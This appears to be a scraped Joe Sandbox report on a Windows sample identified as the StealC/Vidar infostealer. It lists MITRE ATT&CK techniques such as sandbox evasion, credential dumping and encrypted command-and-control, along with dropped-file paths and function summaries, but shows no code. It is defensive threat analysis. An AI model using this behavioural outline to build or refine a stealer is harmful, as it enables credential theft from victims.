Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFHDGDGIIDGCFIDHDHDH

C:\ProgramData\CFCBFBGDBKJKECAAKKFHDBFHII

C:\ProgramData\DAEGIDHD

C:\ProgramData\DAKFIDHDGIEGCAKFIIJKFCBFBF

C:\ProgramData\DGDAEHCBGIIJJJJKKKEHDGHJKF

C:\ProgramData\HCAEGCBF

C:\ProgramData\HIIEBAFCBKFIDGCAKKKF

C:\ProgramData\IDBGHDGHCGHCAAKFIIEC

C:\ProgramData\JJJJEBGDAFHJEBGDGIJDHCAKJK

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Function 00DA9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00D945C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00D9BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6C5635A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 00DA4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00DA9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00D97710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre